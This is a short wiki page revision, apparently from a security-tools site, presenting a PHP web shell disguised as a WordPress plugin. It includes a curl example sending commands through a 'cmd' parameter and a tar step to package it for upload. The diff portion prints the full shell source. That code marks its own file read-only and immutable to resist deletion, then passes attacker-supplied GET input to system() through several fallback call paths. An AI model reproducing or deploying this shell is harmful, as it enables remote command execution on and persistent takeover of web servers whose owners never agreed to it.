BlakSec

Latest revision as of 21:42, 17 July 2018

The following file can be used as WordPress plugin or geneneric system call interface. Commands should be url-encoded, passed via 'cmd' param.

E.g.

curl -G "http://192.168.56.103/wp-content/plugins/shell1/shell.php" --data-urlencode "cmd=ls -altrh"

Enough with intros so here's the code.

Moved Permanently. Redirecting to https://cdn.jsdelivr.net/gh/blaksec/sectools@master/webshells/wp_shell1.php

Now just tar it up and it's ready to go

tar -zcvf ./shell.tgz shell.php

@@ Line 6: / Line 6: @@
 </syntaxhighlight>
-Enough with intros so here's the code.  Of course all of that can be simplified to just one line ''<?php system($command); ?>'' but it's nice to have options, right?
+Enough with intros so here's the code.
-<syntaxhighlight lang=php line>
+{{#github:webshells/wp_shell1.php|blaksec/sectools|master|php|line=1|start=1}}
-<?php
-/**
- * @package My_Shell
- * @version 1.0
- */
-/*
-Plugin Name: Shell
-Plugin URL: http://google.com
-Description: A quick shell plugin
-Author: BlakSec
-Version: 1.0
- */
-# prevent file deletion
-$myfile = __FILE__;
-system("chmod ugo-w $myfile");
-system("chattr +i $myfile");
-$command=urldecode($_GET["cmd"]);
-if (class_exists('ReflectionFunction')) {
-	$function = new ReflectionFunction('system');
-	$function->invoke($command);
-} elseif (function_exists('call_user_func_array')) {
-	call_user_func_array('system', array($command));
-} elseif (function_exists('call_user_func')) {
-	call_user_func('system', $command);
-} else {
-	system($command);
-}
-?>
-</syntaxhighlight>
 Now just tar it up and it's ready to go